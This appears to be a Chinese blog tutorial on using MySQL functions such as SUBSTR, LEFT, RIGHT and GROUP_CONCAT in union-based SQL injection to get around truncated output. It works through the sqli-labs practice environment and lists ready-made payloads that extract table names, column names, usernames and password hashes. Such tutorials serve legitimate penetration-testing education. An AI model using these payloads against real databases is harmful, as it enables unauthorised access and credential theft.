SQL注入中的MySQL特殊函数

1、 特殊函数

在渗透测试中,有时会遇到字符串在前端被截断的情况,爆出的数据也就不完整,此时MySQL的一些函数就非常好用了

GROUP_CONCAT()						#将组中的字符串连接成为具有各种选项的单个字符串。
CONCAT(s1,s2...sn)					#将字符串 s1,s2 等多个字符串合并为一个字符串
CONCAT_WS(x, s1,s2...sn)			#同 CONCAT() 函数
LEFT(s,n)							#返回字符串 s 的前 n 个字符
RIGHT(s,n)							#返回字符串 s 的后 n 个字符
SUBSTR(s, start, length)			#从字符串 s 的 start 位置截取长度为 length 的子字符串
SUBSTRING(s, start, length)			#同 SUBSTR() 函数

2、 测试环境

使用sqlilabs第一关作为测试环境,修改用户表第一条数据密码为 MD5 加密值,更改 index.php 打印密码语句为: echo ‘Your Password:’ .substr($row[‘password’],0,10); 如下图:


访问sqlilibs第一关,传入 id=1 发现密码md5被截断,如下图所示:

3、 截取函数使用

3.1、 使用 SUBSTR(s, start, length) 函数分段查询(推荐)

SUBSTRING() 使用方法与 SUBSTR() 一致,这里就不做介绍了
SUBSTR() 方法能在数据库查询中被优先截取,也就避免了查询数据过长被后端或前端截断。
使用下面的payload,爆出值拼接便可以得到最终的密码CMD5值:

' and 1=2 union select 1,2,SUBSTR(password , 1, 10)from users limit 0,1--+
' and 1=2 union select 1,2,SUBSTR(password , 11, 10)from users limit 0,1--+
' and 1=2 union select 1,2,SUBSTR(password , 21, 10)from users limit 0,1--+
' and 1=2 union select 1,2,SUBSTR(password , 31, 10)from users limit 0,1--+

3.2、 使用 LEFT(s,n) RIGHT(s,n) 函数分段查询

在查询时,若被截断的值大于或等于数据库存储值得一半,此时可以使用更方便的 LEFT() 与 RIGHT() 函数分段查询。
此时将截断字符数改为20,使用普通的payload爆出密码不完整,但满足可以使用LEFT()与RIGHT()函数的条件,如下图所示:

构造payload使用 LEFT() 查询字段值前二十位:

' and 1=2 union select 1,2,LEFT(password,20) from users limit 0,1--+


构造payload使用 RIGHT() 查询字段值后二十位:

' and 1=2 union select 1,2,RIGHT(password,20) from users limit 0,1--+

在这里插入图片描述

4、 查询拼接函数使用

4.1、 GROUP_CONCAT() 组中字符串连接

构造 GROUP_CONCAT() 拼接函数payload,可直接爆出所有表名、字段名及字段值,在遇到被截断的情况下也可与截取函数配合使用

' and 1=2 union select 1,GROUP_CONCAT(table_name),3 from information_schema.tables where table_schema=database()--+
' and 1=2 union select 1,GROUP_CONCAT(column_name),3 from information_schema.columns where table_name='users'--+
' and 1=2 union select 1,GROUP_CONCAT(username,0x7e,password),3 from users--+
' and 1=2 union select 1,LEFT(GROUP_CONCAT(table_name),20),3 from information_schema.tables where table_schema=database()--+
' and 1=2 union select 1,RIGHT(GROUP_CONCAT(table_name),20),3 from information_schema.tables where table_schema=database()--+
' and 1=2 union select 1,SUBSTR(GROUP_CONCAT(table_name),1,20),3 from information_schema.tables where table_schema=database()--+

GROUP_CONCAT() 附图:

SUBSTR(GROUP_CONCAT(),) 附图:

4.2、 CONCAT() 字符串连接

CONCAT_WS() 使用方法与 CONCAT() 一致,这里就不做介绍了
CONCAT() 函数可配合 limit 在一个字段处爆出所有想要得到的字段值,payload如下:

' and 1=2 union select 1,CONCAT(username,0x7e,password),3 from users limit 0,1--+

附图:

——舍心K
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值